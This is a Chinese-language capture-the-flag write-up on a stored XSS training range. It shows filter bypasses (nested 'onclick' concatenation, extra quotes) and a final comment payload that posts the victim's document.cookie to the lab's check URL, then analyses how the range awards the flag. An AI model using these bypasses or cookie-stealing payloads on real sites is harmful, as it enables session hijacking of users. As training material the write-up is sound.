一 靶场说明
本篇是对存储型xss的认识和利用。绕过过滤的方法也用到了前面介绍过的几个技巧。除此之外,我还分析了下靶场的实现原理。
需要用到的技能:拼接绕过,引号转换
靶场由知识盒子提供,靶场地址:https://tofu.exeye.run/commit/log_page
靶场要求:利用评论区构造XSS,让受害者点击恶意评论,发送自己的cookie给发送给指定的URL,如果网站判定cookie是正确的,那么攻击者的页面将会弹窗出正确的flag
所以我们需要注册两个账户,一个模拟攻击者,一个模拟受害者
角色 | 账号 | 密码 |
---|---|---|
攻击者 | 07034170 | 123 |
受害者 | 03174171 | 123 |
二 具体步骤
- 打开靶场页面,可以看到,需要我们登录,可以注册账户
- 先用账户一去登录
- 登录进去后,页面上方是评论区,下方是评论框
- 我们先随便评论个123,然后用控制台找到源代码所在位置
- 然后我们先直接评论个
<script>alert(1)</script>
,发现这个弟弟直接将<script>
和</script>
过滤掉了
- 那我们只能尝试闭合log字段制造一个onclick事件了,评论”onclick=”alert(1),但是很不幸,他还做了onclick的过滤,而且把第一个双引号转换成中文形式了。
- 这里用一个技能:拼接绕过,将一个
onclick
中再插入 一个onclick
,这样中间的onclick
被过滤掉后外面刚好拼接成一个新的onclick
- 但是我们的引号问题无法解决,这里可以尝试多打几个引号,看他到底会转换几个
- 我们可以看到,这里输入了三个引号,结果只转换了第一个
所以我们的payload应该是这样的,前面用多个引号
""onconclicklick="alert(1)
- 查看源代码,成功构造了onclick事件
- 点击评论,也能直接触发弹窗
看来已经可以触发XSS了,那么就该上真正的payload了
和上次一样,让onclick事件执行ajax代码,所以我们的最终payload应该是:
"" onclonclickick="$.ajax({url:`https://tofu.exeye.run/commit/check`, type:`post`, data:{cookie:document.cookie,xsser:`07034170`} })
这段payload的意思是向指定的URL发送POST请求,请求中附带了点击者的cookie
接着我们再开另一个浏览器去登录账户二,模拟受害者点击恶意评论
不过我们先开启抓包
- 可以看到我们发送了一个POST请求,数据内容包含了受害者的cookie和攻击者的用户名
- 释放这个数据包,回到攻击者的账户,刷新页面,拿到正确flag
三 分析靶场原理 (过河拆桥)
- 通过抓包分析,我们发现如果将受害者发送的POST请求包发送repeater,可以看到如果cookie正确(已经注册的账户cookie将会被记录),将会返回执行成功,同时发送的攻击者账号应该也会被记录下来
- 否则返回404not found
那么我们可以在payload中加入了响应成功就弹窗的代码:success:function(res){alert(res)} (来个画蛇添足)
"" onclonclickick="$.ajax({url:`https://tofu.exeye.run/commit/check`, type:`post`, data:{cookie:document.cookie,xsser:`07034170`}, success:function(res){alert(res)} })
- 这样受害者点击后发送POST请求成功后就会将响应内容弹窗出来
接着,分析下部分源代码
$.ajax({ //访问指定URL,如果返回值不为2,则会将弹窗内容返回出来 url: 'https://tofu.exeye.run/commit/getPassCard', type: 'get', success: function (res) { if (res!=2){ alert(res) } } })
这段代码我猜想他的意思是,向指定URL发送GET请求,服务器收到请求后,会根据记录中是否有你的cookie来决定响应内容,如果存在返回的是正确的flag,否则将会返回的是2,函数中判断res如果是2,那么将不会弹窗
所以靶场实现的原理应该是
- 受害者点击恶意代码
- 通过POST请求将自己的cookie和攻击者的账号发送给服务器
- 服务器首先会判断发送的cookie是否存在,我猜想在注册的时候,服务器就已经将cookie和账号记录在某个地方了
- 如果存在,攻击者的账号将会被记录到另一个地方,同时那里也会记录攻击者账号对应的cookie
- 攻击成功后,攻击者再登录将会发送一个GET请求
- 如果攻击者的账号已经被记录,那么返回的res就会是flag,否则返回值是2根本不会弹窗。
通过抓包验证下
- 首先我们记录下已经攻击成功的账号07034170的cookie:06aee212c454c2e4db96e0876b7e2ec0
- 然后我们再登录受害者的账号
- 此时记录的是受害者账号03174171账号的cookie
- 通过抓包,受害者账号因为没有被服务器记录,所以响应的内容是2,不会弹窗
- 这时候我们再将cookie换成攻击者03174171的
- 可以看到返回了正确的flag